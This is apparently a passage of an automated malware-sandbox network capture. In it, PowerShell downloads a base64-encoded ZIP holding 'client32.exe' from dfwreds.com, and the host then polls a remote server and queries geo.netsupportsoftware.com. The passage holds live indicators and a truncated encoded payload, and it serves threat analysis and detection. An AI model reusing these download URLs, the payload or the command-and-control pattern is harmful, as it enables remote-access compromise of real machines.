Jul 16, 2024 22:29:52.898360968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898395061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898415089 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.898489952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898521900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898540020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.898556948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898602962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.898741961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898773909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898808002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898819923 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.898842096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898874998 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898884058 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.898909092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898941994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.898961067 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.898973942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899009943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899020910 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899060965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899092913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899107933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899126053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899158001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899171114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899193048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899224997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899239063 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899257898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899292946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899302006 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899374008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899405956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899420977 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899457932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899491072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899504900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899524927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899558067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899573088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899593115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899625063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899637938 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899661064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899703979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899799109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899832964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899874926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899897099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899925947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899957895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.899969101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.899991989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900032997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.900127888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900160074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900193930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900207996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.900228024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900262117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900274038 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.900295973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900331020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900367022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900379896 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.900401115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900408983 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.900748968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900782108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900801897 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.900815964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900849104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900861979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.900907040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900957108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.900962114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.900990009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901022911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901036978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901057005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901088953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901101112 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901122093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901154995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901163101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901186943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901221037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901231050 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901252031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901284933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901299953 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901336908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901370049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901381969 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901406050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901438951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901452065 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901475906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901508093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901524067 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901541948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901573896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901587009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901607037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901640892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901669979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901674986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901706934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901714087 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901741028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901772976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901783943 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901807070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901839018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901849031 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.901875019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.901917934 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.902086973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.902184010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.902216911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.902228117 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.902250051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.902282000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.902314901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.902348042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.902348995 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.902374029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.902380943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.902416945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.902424097 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.947247028 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.984461069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.984536886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.984570026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.984586954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.984602928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.984636068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.984661102 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.984668970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.984703064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.984711885 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.984735966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.984786034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.985263109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985295057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985327959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985340118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.985410929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985443115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985455990 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.985476017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985507965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985517025 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.985543013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985591888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.985621929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985656023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985701084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.985707045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985738039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985769987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985780954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.985802889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985835075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.985846996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.986938953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.986972094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987010956 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987024069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987056017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987072945 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987108946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987142086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987150908 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987174988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987209082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987221003 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987257957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987289906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987320900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987323046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987356901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987370968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987407923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987456083 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987458944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987535000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987566948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987582922 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987601042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987632990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987648964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987665892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987699986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987718105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987768888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987801075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987831116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.987834930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.987895012 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.988663912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.988696098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.988729000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.988744974 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.988801003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.988832951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.988851070 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.988866091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.988900900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.988905907 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.989068031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.989125967 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:53.985197067 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:54.153542995 CEST	49731	443	192.168.2.4	94.158.245.103
Jul 16, 2024 22:29:54.153589010 CEST	443	49731	94.158.245.103	192.168.2.4
Jul 16, 2024 22:29:54.153656960 CEST	49731	443	192.168.2.4	94.158.245.103
Jul 16, 2024 22:29:54.264338017 CEST	49731	443	192.168.2.4	94.158.245.103
Jul 16, 2024 22:29:54.264419079 CEST	443	49731	94.158.245.103	192.168.2.4
Jul 16, 2024 22:29:54.264615059 CEST	443	49731	94.158.245.103	192.168.2.4
Jul 16, 2024 22:29:54.302865982 CEST	49732	80	192.168.2.4	104.26.0.231
Jul 16, 2024 22:29:54.307849884 CEST	80	49732	104.26.0.231	192.168.2.4
Jul 16, 2024 22:29:54.307933092 CEST	49732	80	192.168.2.4	104.26.0.231
Jul 16, 2024 22:29:54.308444977 CEST	49732	80	192.168.2.4	104.26.0.231
Jul 16, 2024 22:29:54.313720942 CEST	80	49732	104.26.0.231	192.168.2.4
Jul 16, 2024 22:29:54.986241102 CEST	80	49732	104.26.0.231	192.168.2.4
Jul 16, 2024 22:29:54.986480951 CEST	49732	80	192.168.2.4	104.26.0.231
Jul 16, 2024 22:31:44.200093031 CEST	49732	80	192.168.2.4	104.26.0.231
Jul 16, 2024 22:31:44.206437111 CEST	80	49732	104.26.0.231	192.168.2.4
Jul 16, 2024 22:31:44.206499100 CEST	49732	80	192.168.2.4	104.26.0.231

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2024 22:29:47.769463062 CEST	58012	53	192.168.2.4	1.1.1.1
Jul 16, 2024 22:29:48.775588989 CEST	58012	53	192.168.2.4	1.1.1.1
Jul 16, 2024 22:29:48.858393908 CEST	53	58012	1.1.1.1	192.168.2.4
Jul 16, 2024 22:29:48.858442068 CEST	53	58012	1.1.1.1	192.168.2.4
Jul 16, 2024 22:29:54.265010118 CEST	56948	53	192.168.2.4	1.1.1.1
Jul 16, 2024 22:29:54.276545048 CEST	53	56948	1.1.1.1	192.168.2.4
Jul 16, 2024 22:30:06.109138012 CEST	53	63606	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 16, 2024 22:29:47.769463062 CEST	192.168.2.4	1.1.1.1	0x3008	Standard query (0)	dfwreds.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 22:29:48.775588989 CEST	192.168.2.4	1.1.1.1	0x3008	Standard query (0)	dfwreds.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 22:29:54.265010118 CEST	192.168.2.4	1.1.1.1	0x43d0	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 16, 2024 22:29:48.858393908 CEST	1.1.1.1	192.168.2.4	0x3008	No error (0)	dfwreds.com	23.227.193.59	A (IP address)	IN (0x0001)	false
Jul 16, 2024 22:29:48.858442068 CEST	1.1.1.1	192.168.2.4	0x3008	No error (0)	dfwreds.com	23.227.193.59	A (IP address)	IN (0x0001)	false
Jul 16, 2024 22:29:54.276545048 CEST	1.1.1.1	192.168.2.4	0x43d0	No error (0)	geo.netsupportsoftware.com	104.26.0.231	A (IP address)	IN (0x0001)	false
Jul 16, 2024 22:29:54.276545048 CEST	1.1.1.1	192.168.2.4	0x43d0	No error (0)	geo.netsupportsoftware.com	172.67.68.212	A (IP address)	IN (0x0001)	false
Jul 16, 2024 22:29:54.276545048 CEST	1.1.1.1	192.168.2.4	0x43d0	No error (0)	geo.netsupportsoftware.com	104.26.1.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dfwreds.com

94.158.245.103connection: keep-alivecmd=pollinfo=1ack=1

geo.netsupportsoftware.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	23.227.193.59	80	7424	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 22:29:48.873991966 CEST	75	OUT	GET /data.php?14991 HTTP/1.1 Host: dfwreds.com Connection: Keep-Alive
Jul 16, 2024 22:29:49.385452032 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 16 Jul 2024 20:29:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 31 66 35 36 0d 0a 55 45 73 44 42 42 51 41 41 41 41 49 41 42 78 45 56 31 65 64 6e 69 58 6d 4a 6d 77 41 41 4a 43 56 41 51 41 4d 41 41 41 41 59 32 78 70 5a 57 35 30 4d 7a 49 75 5a 58 68 6c 37 48 77 48 65 46 54 46 31 2f 66 5a 39 45 34 4b 41 53 4c 36 55 76 36 67 69 42 4a 42 6b 56 63 49 68 45 41 49 6e 59 54 30 73 70 75 79 32 56 52 71 67 43 53 41 45 41 56 52 2f 30 43 6f 41 6f 49 67 69 68 44 53 4e 79 47 46 6b 74 43 4c 51 42 41 51 61 55 6f 58 70 4b 54 33 6e 67 33 6e 4f 7a 4f 37 6d 77 49 4a 55 6f 4c 79 66 67 2f 6e 37 75 2f 65 6d 54 74 6e 7a 73 79 39 76 7a 4e 6e 5a 6d 35 34 6d 4f 43 78 43 6c 51 42 51 49 32 41 43 4c 41 48 35 47 49 46 66 79 39 2f 45 67 79 36 5a 42 70 41 75 76 61 5a 62 6e 73 45 34 38 39 30 63 77 6f 4b 6e 74 55 31 5a 4f 62 30 77 4a 6e 69 71 56 30 6c 34 6d 6e 54 70 6f 64 32 39 66 58 76 4f 6a 4e 73 57 74 66 67 61 56 31 48 32 44 6c 32 6e 54 72 64 7a 39 39 63 58 31 2b 6e 68 38 4a 47 33 53 6e 4e 51 77 63 54 67 74 63 6f 73 65 74 43 37 5a 72 39 64 49 30 61 55 4c 46 6d 48 37 38 58 74 43 61 54 35 34 2b 73 [TRUNCATED] Data Ascii: 1f56UEsDBBQAAAAIABxEV1edniXmJmwAAJCVAQAMAAAAY2xpZW50MzIuZXhl7HwHeFTF1/fZ9E4KASL6Uv6giBJBkVcIhEAInYT0spuy2VRqgCSAEAVR/0CoAoIgihDSNyGFktCLQBAQaUoXpKT3ng3nOzO7mwIJUoLyfg/n7u/emTtnzsy9vzNnZm54mOCxClQBQI2ACLAH5GIFfy9/Egy6ZBpAuvaZbnsE4890cwoKntU1ZOb0wJniqV0l4mnTpod29fXvOjNsWtfgaV1H2Dl2nTrdz99cX1+nh8JG3SnNQwcTgtcosetC7Zr9dI0aULFmH78XtCaT54+sOcCvZYprOb86BEuCWL3W+jjRBmC8QA22BU9waOy3ikBXoAOgQplwAb/X1ZBODF1B/vSGwMvVQV6uvMIhAX9Zg4NUqNjqK67IdBuuDRcug8neYJboS1VnCBoL5gtglRlddwigPWuW9N6EZ5C/0TcP9Z8TyswDNDwLqD1mwsd8pp84VAzgIpDf4HoajTqKt2FlPnPWTAkonoGeBWbSVaslPf8p00lxCsifjdv7VPCo3nB4La+EOEfmR9q0j5xgONE+eyPlPY8YwukmQuWL8ke4oCl0tYLI4qUag7uHdVk6UjDyy0Oh7ZaPgcHdQ/Xl2bDyBZbdw/RH5ukM7hquMXKBZdfZtUs1SE1vcNfZWkqd5Tb7Jp6wyWZNo6ke2ay0yRa0222TH6a+R4eNV5dJMImKtKhoYrYXIk5EUzXKnMae7bs+TVR6Lc8i92nMpxIOES52ld9b27WZSkPsZEPZlqDVjaAJsKyJXjSl2xPmNLlX3VURU1qQJ7WrAt62jhOspwT7Twv96EOrT8grrMdYj//oQ3O/KVPATGAzJzh04szpEv9Zs8BUZZR/6ITpfmFT/EeLp/lN8R8G4MvuOYaKZ4aGhYyZFjB9GHwtoDvW06dOJZXxwdNIaZyNg62N0iSJg+MIx2tD6gd0/7hgzPIsg7ghJtsCWNSyGSSaNm [TRUNCATED]
Jul 16, 2024 22:29:49.385485888 CEST	1236	IN	Data Raw: 79 4d 46 2f 69 72 39 34 6c 6e 2f 44 44 66 4d 51 50 31 2f 34 76 79 66 79 71 55 47 64 72 77 58 6f 68 53 39 67 55 38 42 69 75 68 72 51 64 51 74 64 44 59 47 76 44 52 5a 30 6f 75 73 35 75 6a 61 76 70 38 56 6e 78 32 79 36 7a 33 79 45 4d 67 75 59 6e 55 Data Ascii: yMF/ir94ln/DDfMQP1/4vyfyqUGdrwXohS9gU8BiuhrQdQtdDYGvDRZ0ous5ujavp8Vnx2y6z3yEMguYnU50ZeV96apO19ECuV0fupL7wBy6silkleBRewI+Z8W2cD9HlU/Bj91n7f/Ryv3iluxTw1oqAC3d79TK/V6t3P+klfujW7nv1sr9oFbuz2nl/uJW7m9o5X5sK/f30P2TH1I5kX1XsUYIoXEUq9WY7zSW+qfemF9gR+9
Jul 16, 2024 22:29:49.385503054 CEST	1236	IN	Data Raw: 48 61 7a 65 73 42 6b 32 62 74 77 49 4d 64 39 46 51 75 4b 50 71 79 46 70 79 7a 65 77 64 65 74 57 53 45 78 4d 68 4e 54 55 56 4e 69 31 39 79 44 73 32 37 63 50 54 6d 31 66 43 4b 64 6a 76 34 52 6a 63 63 76 67 64 4e 77 53 75 4a 44 77 42 5a 78 50 57 41 Data Ascii: HazesBk2btwIMd9FQuKPqyFpyzewdetWSExMhNTUVNi19yDs27cPTm1fCKdjv4RjccvgdNwSuJDwBZxPWAxX01bA6eRv4FLGRpAd/AKuHIiByqwfoDrre7h2NB5OH9oFv59Ig2snU+HqqQy4fSwO8GI03D+XCYcPH4ZTp07BzfPH4PrFLDh37hxcvXoV7lw+AXmXDsH9q6cg92oW3Ll+EXJuXYL7f16G+7evQe5f16H49nkouX8
